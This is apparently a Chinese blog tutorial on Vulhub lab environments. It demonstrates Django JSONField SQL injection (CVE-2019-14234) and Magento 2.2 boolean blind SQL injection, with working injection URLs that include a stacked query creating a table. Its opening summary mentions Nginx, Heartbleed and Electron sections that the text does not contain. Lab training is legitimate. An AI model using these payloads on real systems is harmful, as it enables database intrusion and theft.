Vulhub靶场

本文深入探讨了Django的JSONField/HStoreField SQL注入漏洞,介绍了如何利用此漏洞进行SQL注入攻击。接着,详细讲解了Magento 2.2的SQL注入漏洞,展示了如何通过二次格式化字符串进行布尔型盲注。此外,还讨论了Nginx解析漏洞,揭示了配置不当导致的安全风险。同时,文章涵盖了OpenSSL的心脏出血漏洞,解析了漏洞原理,并演示了利用步骤。最后,提到了Electron的WebPreferences远程命令执行漏洞,解释了如何在限制条件下执行任意命令。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

【Django JSONField/HStoreField SQL 注入漏洞 】

①原理
Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,Django官方也建议配合Postgresql一起使用。
在Django中支持Postgresql的数据类型:JSONField、HStoreField、ArrayField。
该漏洞出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接,通过JSONField类获得KeyTransform类并生成sql语句的位置,因此可以进行SQL注入

②vulhub进入目录:/home/vulhub/vulhub-master/django/CVE-2019-14234,启动环境:docker-compose up -d,访问:http://192.168.28.129:8000/
即可看到Django默认首页

在这里插入图片描述
在这里插入图片描述

③首先登陆后台:http://192.168.28.129:8000/admin/,用户名密码为admin、a123123123。
登陆后台后,进入模型Collection的管理页面:http://192.168.28.129:8000/admin/vuln/collection/

在这里插入图片描述

④然后在GET参数中构造detail__a’b=123提交,其中detail是Collection模型中的JSONField,然后我们看到单引号注入成功,SQL语句报错。
http://192.168.28.129:8000/admin/vuln/collection/?detail__a%27b=123

在这里插入图片描述

⑤继续构造SQL语句,“or 1=1”–永真,因此应该返回所有结果
http://192.168.28.129:8000/admin/vuln/collection/?detail__title’)=‘1’ or 1=1–
但是我们需要对构造的SQL语句进行URL编码才能够正常访问:
http://192.168.28.129:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1–%20

在这里插入图片描述

⑥结合CVE-2019-9193我们尝试进行命令注入,构造url
http://192.168.28.129:8000/admin/vuln/collection/?detail__title’)=‘1’ or 1=1 ;create table cmd_exec(cmd_output text)–
对构造的SQL语句进行URL编码
http://192.168.28.129:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_exec(cmd_output%20text)–%20

页面结果虽然报错,但是报错原因是no results to fetch,说明我们的语句已经执行
在这里插入图片描述

【Magento 2.2 SQL注入漏洞】

①原理
Magento(麦进斗)是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。设计得非常灵活,具有模块化架构体系和丰富的功能。
其prepareSqlCondition函数存在一处二次格式化字符串的bug,导致引入了非预期的单引号,造成SQL注入漏洞。

②vulhub进入目录:/home/vulhub/vulhub-master/magento/2.2-sqli,启动环境:docker-compose up -d,访问:http://192.168.28.129:8080,即可看到Magento的安装页面。安装Magento时,数据库地址填写mysql,账号密码均为root,其他保持默认。

在这里插入图片描述

③安装完成之后成功进入Magento页面

在这里插入图片描述

④分别访问如下链接
http://192.168.28.129:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d0)±-±

在这里插入图片描述

http://192.168.28.129:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d1)±-±

在这里插入图片描述

可见,在执行
))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) – -
和在执行
))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=0) – -
时,返回的HTTP状态码不同,通过改变OR的条件,即可实现SQL BOOL型盲注

⑤下载利用这个POC,可以读取管理员的session

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值